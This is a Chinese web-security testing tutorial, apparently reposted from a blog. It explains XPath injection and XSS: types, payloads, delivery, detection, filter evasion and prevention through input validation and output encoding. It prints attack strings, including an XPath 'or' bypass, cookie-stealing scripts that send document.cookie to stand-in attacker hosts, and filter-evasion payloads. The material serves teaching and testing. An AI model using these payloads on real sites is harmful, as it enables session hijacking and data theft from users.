安全测试回归(五)

XPATH注入

Xml路径语言,是一种用于导航xml文档并从中获取数据的解释型语言。许多时候,一个XPath表达式代表由一个文档节点导航到另一个文档节点所需要的一系列步骤。
如果web应用程序将数据保存在xml中,那么可能就需要用XPath访问数据。如果这个输入未经过任何过滤净化就插入到查询中,攻击者就可以通过控制修改查询语句来破坏应用程序逻辑,或者获取未授权数据。从某种角度上说,XPath注入手段与SQL注入非常类似。

例如一个xml数据文档如下:

那么获取所有用户电子邮件的xpath查询为:
//address/email/text()
一个返回Jackson的全部用户资料的xpath就为:
//address[name/text()=‘Jackson’]

注入方式:

设计有这样一个功能,用户提交name&password,来获取用户保存的信用卡号码。对应的xpath如下:
//address[name/text()=‘Jackson’ and password/text()=‘letsgo’]/ccard/text()
与sql注入一样,攻击者也用’or ‘a’=‘a来攻击
//address[name/text()=‘Jackson’ and password/text()=‘ ‘or ‘1’=‘1’ ] /ccard/text()
//address/ccard/text()
就可以获得所有用户的信用卡

---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

XSS攻击
跨站脚本攻击(Cross Site Scripting),XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中,其他用户在观看网页时,恶意脚本就会执行。这类攻击通常通过注入HTML或js等脚本发动攻击。攻击成功后,攻击者可以得到私密网页内容和cookie等。最近几年xss攻击已经成为最流行的攻击方式。

XSS攻击--XSS攻击的危害

•盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
•控制数据,包括读取、篡改、添加、删除企业敏感数据的能力
•盗窃企业重要的具有商业价值的资料
•非法转账
•强制发送网站挂马
•控制受害者机器向其它网站发起攻击

XSS攻击—XSS分类

反射式XSS
•也称为非永久性XSS,是目前最流行的XSS攻击。它出现在服务器直接使用客户端提交的数据,如url的数据、html表单中提交数据等,并且没有对数据进行无害化处理。
•如果提交的数据中含有HTML控制字符而没有被正确处理,那么一个简单的XSS攻击就会发生。
•典型的反射式攻击可 通过一个邮件或中间网站,诱饵是一个看起来可信任的站点的链接,其中包含XSS攻击脚本,如果信任的网站没有正确处理这个脚本,用户点击后就会导致浏览器执行含有恶意攻击的脚本。

•来看一个简单的反射式XSS例子:
•反射式XSS
•这个简单例子的测试有助于告诉我们两个问题:
•首先,input 的值可以用任何返回给浏览器的数据替代;
•其次,无论服务器应用程序如何处理这些数据,都无法阻止提交javascript代码,一旦该页面显示,这些代码就会执行。

 

典型的反射式XSS攻击过程
•Alice经常浏览某个网站,此网站为Bob所拥有。Bob的站点运行Alice使用用户名/密码进行登录,并存储敏感信息(比如银行帐户信息)。
•http://www.bob.net
•Charly发现Bob的站点包含反射性的XSS漏洞。
•Charly编写一个利用漏洞的URL,并将其冒充为来自Bob的邮件发送给Alice。
•http://www.bob.net/error.aspx?message=<script>var+i=new + Image;i.src=http://charly.net/%2bdocument.cookie;</script>
•Alice在登录到Bob的站点后,浏览Charly提供的URL。
•嵌入到URL中的恶意脚本在Alice的浏览器中执行,就像它直接来自Bob的服务器一样。此脚本盗窃敏感信息(授权、信用卡、帐号信息等)然后在Alice完全不知情的情况下将这些信息向Charly的Web站点charly.net提出一个请求,Charly监控访问chaly.net的请求便可截获Alice的会话令牌。

 

•存储式XSS
•也成为永久性XSS,危害更大。攻击将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄漏的可能,其中也包括了Web服务器的管理员。
•典型例子:
•在一个交友网站上,一个人在个人信息上写上一段脚本如:
•<script>window.open(http://www.mysite.com?yourcookie=document.cookie)</script>,而该网站没有对该段内容进行正确编码,那么网站其他用户看到这个用户信息页时,就会将当前的cookie提交到该用户的web站点上。

典型的存储式XSS攻击过程:
•Bob拥有一个Web站点,该站点允许用户发布信息/浏览已发布的信息。
•Charly注意到Bob的站点具有类型C的XSS漏洞。
•Charly发布一个热点信息,吸引其它用户纷纷阅读。
•Bob或者是任何的其他人如Alice浏览该信息,其会话cookies或者其它信息将被Charly盗走。

基于DOM的XSS攻击
•反射式XSS攻击和存储式XSS攻击都是通过服务器端提取用户提交的数据并且以不安全的方式将其返回给用户。基于DOM的攻击仅仅通过javascript的方式执行。
•当javascript在浏览器执行时,浏览器提供给javascript代码几个DOM对象。文档对象首先在这些对象之中,并且它代表着大多数浏览器呈现的页面的属性。这个文档对象包含很多子对象,例如location,URL和referrer。这些对象根据浏览器的显示填充浏览器。因此, document.URL 和 document.location是由页面的URL按照浏览器的解析填充的。
•也就是说这种攻击常发生在应用程序每次返回相同的静态html,而通过客户端javascript动态生成信息时。

基于DOM的XSS攻击
•<HTML>
•<TITLE>Welcome!</TITLE>
•Hi
•<SCRIPT>
•var pos=document.URL.indexOf("name=")+5;
•document.write(document.URL.substring(pos,document.URL.length));
•</SCRIPT><BR>
•Welcome to our system
•</HTML>
•通常这个页面作为用户欢迎页面, 例如:
• http://www.mysite.com/welcome.html?name=Jackson 然而,如下的一个请求: http://www. mysite.com/welcome.html?name= <script>alert(document.cookie)</script> 将产生xss条件。让我们看看为什么:受害者的浏览器接收到这个链接,发送HTTP请求到www.mysite.com并且接受到上面的HTML页。受害者的浏览器开始解析这个HTML为DOM,DOM包含一个对象叫document,document里面有个URL属性,这个属性里填充着当前页面的URL。当解析器到达javascript代码,它会执行它并且修改你的HTML页面。倘若代码中引用了document.URL,那么,这部分字符串将会在解析时嵌入到HTML中,然后立即解析,同时,javascript代码会找到(alert(…))并且在同一个页面执行它,这就产生了xss的条件。

 

XSS攻击—XSS攻击有效载荷

1. 会话令牌
•XSS攻击最普遍的方式。截取一名受害者的会话令牌,劫持他的会话,进而作为受害者的身份来使用应用程序,执行任意操作并占有该用户的账户。
•2. 虚拟置换
•这种攻击需要在一个Web应用程序页面注入恶意数据,从而向应用程序的用户传送误导性信息。包括简单的向站点注入html,或者使用脚本注入精心设计的内容。攻击者实际上没有修改保存在服务器上的内容,而是利用程序处理并显示用户提交的输入方面的缺陷实现置换。

3.注入木马
•这种攻击造成的后果远比虚拟置换严重,它在易受攻击的应用程序中注入实际运行的功能,旨在欺骗终端用户执行某种有害操作(如输入敏感数据),随后将它们传送给攻击者。
•在一个明显的攻击中,攻击者注入的功能向用户显示一个木马登录表单,要求他们向攻击者控制的服务器提交他们自己的证书。如果由技巧熟练的攻击者实施,这种攻击还允许用户无缝登录到真正的应用程序中,以便他们不会发觉访问过程中的任何反常情况。然后,攻击者就可以自由使用受害者的证书实现自己的目的。这种类型的有效载荷非常适宜于用在钓鱼攻击中,向用户传送一个经过专门设计、连接可信应用程序的URL,并要求他们正常登录以访问这个URL。

•由于这些攻击中的URL指向真实应用程序的可信域名,如果在必要时使用有效的 SSL 证书,它们就比纯粹的钓鱼Web站点更有可能说服受害者提交敏感信息;后者通常位于另一个域中,而且只是克隆目标Web站点的内容。

XSS攻击—传送机制

传送反射型与基于DOM的XSS攻击
通过电子邮件向随机用户大量发送专门设计的URL
在有针对性的攻击中,攻击者可以向个体目标用户或少数几名用户发送一封伪造的电子邮件。例如,可以向管理员发送一封明显由已知用户送出的电子邮件,抱怨某个特殊的URL造成错误。
在即时消息中向目标用户提供一个 URL
第三方Web站点上的内容与代码可用于生成触发XSS漏洞的请求
一些攻击者付费购买许多链接至一个URL的横幅广告,该URL中包含一个针对某易受攻击的应用程序的XSS有效载荷。如果一名用户登录这个易受攻击的应用程序,并单击广告,那么他登录该应用程序的会话就会被攻破。
许多应用程序执行一种"推荐给朋友"或向站点管理员发送反馈的功能。这种功能通常允许用户生成一封电子邮件,其内容与收件人均可自由设置。攻击者能够利用这种功能,通过一封实际源自自己服务器的电子邮件传送XSS攻击,提高邮件被技术熟练的用户与反恶意软件的软件接受的可能性。

•传送保存型XSS攻击
•漏洞数据通过主Web界面提交给应用程序。用户控制的数据最终显示给其他用户的常见位置包含:
个人信息字段,如姓名、地址、电子邮件、电话等
文档、上传文件及其他数据的名称
提交给应用程序管理员的反馈或问题
向其他应用程序用户传送的消息、注释、问题等
记录在应用程序日志中,并通过浏览器显示给管理员的任何内容,如 URL、用户名、HTTP Referer、User-Agent等
在用户之间共享的上传文件内容

 

XSS攻击—XSS检测

•确定XSS漏洞的基本方法是使用下面这个概念验证攻击字符串:
•><script>alert(‘xss’)</script>
•这个字符串被提交给每个应用程序页面中的每一个参数;同时,攻击者监控它的响应,看其中是否出现这个相同的字符串。如果发现攻击字符串按原样出现在响应中,几乎可以肯定应用程序存在XSS漏洞。
•如果仅仅是为了尽可能快地确定应用程序中存在的某种XSS漏洞,以向其他应用程序用户实施攻击,那么这个基本方法可能是最为有效的方法,因为它可以实现高度自动化,而且很少生成错误警报。
•经常使用的检测字符串通常还有:
• =’><script>alert(document.cookie)</script>
• <script>alert(document.cookie)</script>
• <script>alert(vulnerable)</script>
• <script>alert(’XSS’)</script>
• <imgsrc=”javascript.:alert(’XSS’)”>
• <imgsrc=”http://xxx.com/yyy.png” οnerrοr=”alert(’XSS’)”>

•如果是对应用程序进行复杂的测试,从而确定尽可能多的漏洞,那么在应用基本方法的同时,还需要组合使用更加复杂的技巧。
•在遇到某些防御性过滤,如黑名单初步过滤、输入净化等,这种最基本的检测方法将无法确定应用程序中是否存在XSS漏洞。
•同样的,当利用基于DOM的XSS漏洞时,攻击有效载荷并不在服务器的响应中返回,而是保存在浏览器DOM中,并可被客户端JavaScript访问。在这种情况下,提交一个特殊字符串并检查它是否在服务器的响应中出现的基本检测方法同样将无法成功发现漏洞。

 

•探查反射型XSS漏洞
•要探查反射型XSS漏洞,需要在解析应用程序的过程中确定所有的用户输入点,并遵照如下步骤:
在每个输入点提交一个良性字符串
确定此字符串反射在应用程序响应中的所有位置
对于每个反射,确定显示反射型数据时的语法上下文
提交针对反射语法上下文而修改的数据,尝试在响应中引入任意脚本
如果反射型数据被阻止或净化,导致脚本无法执行,则尝试避开应用程序的防御型过滤

 

•探查反射型XSS漏洞
•1. 确认用户输入的反射:
①选择任意一个字符串,该字符串不曾出现在应用程序的任何地方,而且其中仅包含字母字符,因此不可能受到针对XSS过滤的影响。例如:
myxsstestfengluo
②提交这个字符串,以其作为每个页面的每一个参数,且每次只针对一个参数。
③监控应用程序的响应,看其中是否出现这同一个字符串。记下参数值被复制到应用程序响应中的每一个参数。这些参数不一定容易受到攻击,但需要将它们作为潜在的XSS漏洞,进行深入分析

 

•探查反射型XSS漏洞
•2. 测试引入脚本的反射:
•渗透测试员必须对记下的每个潜在的漏洞进行手动分析,确定其是否确实可被利用。这时,渗透测试的目的是找到一种设计输入的方法,以便当它被复制到应用程序响应的相同位置时,任何JavaScript脚本都能够得以执行。

•探查反射型XSS漏洞
标签属性值
•假设返回的页面中包含以下脚本:
•<input type="text" name="address1" value="myxsstestfengluo">
•很明显,利用XSS的一种方法是终止包含字符串的双引号,结束<input>标签,然后通过其他方法引入JavaScript脚本(使用<script>、<img src= 'javascript:...'>等)。例如:
•"><script>alert(‘xss’)</script>
•在这种情况下,另一种可以避开某些输入过滤的利用方法,是在<input>标签内注入一个包含JavaScript的事件处理器。例如:
•“ οnfοcus="alert(‘xss’)

•探查反射型XSS漏洞
JavaScript字符串
•假设返回的页面中包含以下脚本:
•<script>var a = 'myxsstestfengluo'; var b = 12; ... </script>
•这时,受控制的字符串被直接插入到现有的一段脚本中。要利用XSS,可以终止字符串周围的单引号,用一个分号终止整个语句,然后直接处理想要执行的 JavaScript。例如:
•'; alert(‘xss’); var foo='
•注意,因为已经终止了一个被引用的字符串,为阻止JavaScript注释器出现错误,必须在注入的代码后使用有效的语法确保脚本继续正常执行。在这个示例中,变量foo被声明,另一个引用字符串被打开,它们将被紧随在字符串后面的代码终止。另一种经常有效的方法是使用//结束输入,将剩下的脚本当作注释处理。

•探查反射型XSS漏洞
包含URL的特性:
•假设返回的页面中包含以下脚本:
•<img src="myxsstestfengluo">
•这时,受控制的字符串插入到一个<img>标签的src属性中。在一些浏览器中,这个属性可能包含一个使用javascript:协议的 URL,从而可以使用以下脚本直接利用XSS:
•javascript:alert(‘xss’);
•要向当前所有的浏览器实施攻击,可以同时使用一个无效的图像名称与一个onerror事件处理器:
•“οnerrοr=”alert(‘xss’)

 

•探查防御型过滤
•有时候最初提交的攻击字符串并不会被服务器按原样返回,因而无法成功执行注入的JavaScript。接下来应该确定服务器对输入进行了哪些处理。主要有以下两种可能的情况。
应用程序发现输入匹配了攻击黑名单,执行过滤,完全阻止了输入。
应用程序已经接受了输入,但对攻击字符串进行了某种净化或编码。

 

避开过滤或净化
•首先需要确定输入中的哪些字符或表达式触发了过滤或净化。一种有效的方法是轮流删除字符串的不同部分,看输入是否仍然被阻止。通常,使用这种方法可迅速查明是否是某个特殊的表达式(如<script>)造成请求被阻止。
•如果确实如此,那么需要对过滤进行测试,看是否有任何避开过滤的办法。

 

避开过滤或净化
•介绍几种简单避开过滤和净化的方法:
大小写:
因为许多人用小写字符编写HTML代码,所以一些过滤仅检查常用的小写恶意标签。如果是这样,那么通过改变字符大小写即可避开这些过滤。
如:
<SCriPt>

•避开过滤或净化
空白符:
许多过滤匹配特殊的标签,包括起始与结束尖括号。然而,许多浏览器接受结束括号前的空白符,允许攻击者轻易避开这种过滤。
如: <script >
即使空字节后面的文本仍然在应用程序的响应中返回,但如果遇到空字节,一些过滤会停止处理字符串。在被过滤的表达式前插入一个URL编码的空字节即可避开这种过滤。
如: <sc%00ript>

 

避开过滤或净化
事件处理器:
有大量事件处理器可以与标签结合使用,以用于执行脚本。例如:
*<img src=a οnerrοr=alert(‘XSS’)>
<body onactivate=alert(‘XSS’)>
<xml onreadystatechange=alert(‘XSS’)>

 

•避开过滤或净化
脚本伪协议:
脚本伪协议可以用在各个位置,以在需要的URL属性中执行脚本。例如:
*<iframe src=“javascript:alert(‘XSS’)”>
<object data=“javascript:alert(‘XSS’)”>
……

 

探查存储型XSS漏洞
•确定保存型XSS漏洞的过程与前面描述的确定反射型XSS漏洞的过程有很多相似之处,都包括提交一个特殊的字符串作为每个页面的每一个参数。下面来看一下检测存储型XSS漏洞的步骤:
向应用程序中的每一个可能的位置提交一个特殊的字符串后,必须反复检查应用程序的整个内容与功能,确定这个字符串在浏览器中显示的任何情况。在一个位置(例如,个人信息页面的姓名字段)输入用户控制的数据,这个数据可能会在应用程序的许多不同位置显示(例如,用户主页上、注册用户列表中、任务等工作流程项目中、其他用户的联系列表中、用户提交的消息或问题中、应用程序日志中等)。应用程序可能对每个出现的字符串实施了不同的保护性过滤,因此需要对它们进行单独分析。
如有可能,应检查管理员能够访问的所有应用程序区域,确定其中是否存在任何可被非管理用户控制的数据。例如,应用程序一般允许管理员在浏览器中检查日志文件。这种类型的功能极有可能包含XSS漏洞,攻击者通过生成含有恶意HTML的日志记录即可对其加以利用。

在向应用程序中的每个位置提交一个测试字符串时,并不总是把它作为每个页面的每一个参数这样简单。在保存被提交的数据之前,许多应用程序功能需要经历几个阶段的操作。例如,注册新用户、处理购物订单、转账等操作往往需要按预定的顺序提交几个不同的请求。为避免遗漏任何漏洞,必须确保每次测试彻底完成。
如果应用程序允许文件上传与下载,应始终探查这种功能是否易于受到保存型XSS攻击。如果应用程序允许HTML或文本文件,且并不确认或净化它们的内容,那么几乎可以肯定它们易于受到攻击。如果它允许JPEG文件且并不确认其中是否包含有效的图像,那么它可能易于受到针对Internet Explorer用户的攻击。测试应用程序如何处理它支持的每种文件类型,并弄清浏览器如何处理包含HTML而非正常内容的响应。

探查基于DOM的XSS漏洞
•使用“提交一个特殊的字符串作为参数,然后监控响应中是否出现该字符串”的常规方法无法确定基于DOM的XSS漏洞:。
•确定基于DOM的XSS漏洞的基本方法是,用浏览器手动浏览应用程序,并修改每一个URL参数,在其中插入一个标准测试字符串,例如:
•"<script>alert(‘xss’)</script>
•通过在浏览器中显示每一个返回的页面,可以执行所有客户端脚本,必要时引用修改的URL参数。只要包含xss的对话框出现,就表示发现了一个漏洞。
•遇到相关过滤操作时,也可以用之前介绍的一些方法避开过滤。

 

XSS攻击—XSS预防

•1. 输入验证
如果应用程序在某个位置收到的用户提交的数据将来有可能被复制到它的响应中,应用程序应根据这种情形对这些数据执行尽可能严格的确认。需要确认的数据的潜在特性包括以下几点。
数据不是太长。
数据仅包含某组合法字符。
数据与一个特殊的正规表达式相匹配。
根据应用程序希望在每个字段中收到的数据类型,应尽可能限制性地对姓名、电子邮件地址、账号等应用不同的确认规则。

2. 输出编码
•如果应用程序将某位用户或第三方提交的数据复制到它的响应中,那么应用程序应对这些数据进行HTML编码,以净化可能的恶意字符。HTML 编码指用对应的HTML实体替代字面量字符。这样做可确保浏览器安全处理可能为恶意的字符,把它们当作HTML文档的内容而非结构处理。 经常造成问题的字符的HTML编码如下:
•“ -----&quot;
•‘ -----&#x27;
•< -----&lt;
•> -----&gt;
•/ -----&#x2F

应用程序之所以结合使用输入确认与输出净化,原因在于这种方法能够提供两层防御:如果其中一层被攻破,另一层还能提供一些保护。
•许多执行输入与输出确认的过滤都容易被攻破。结合这两种技巧,应用程序就能够获得额外的保护,即使攻击者发现其中一种过滤存在缺陷,另一种过滤仍然能够阻止他实施攻击。在这两种防御中,输出确认最为重要,必不可少。实施严格的输入确认应被视为一种次要故障恢复

转载于:https://www.cnblogs.com/hanzhao1987/p/8134555.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值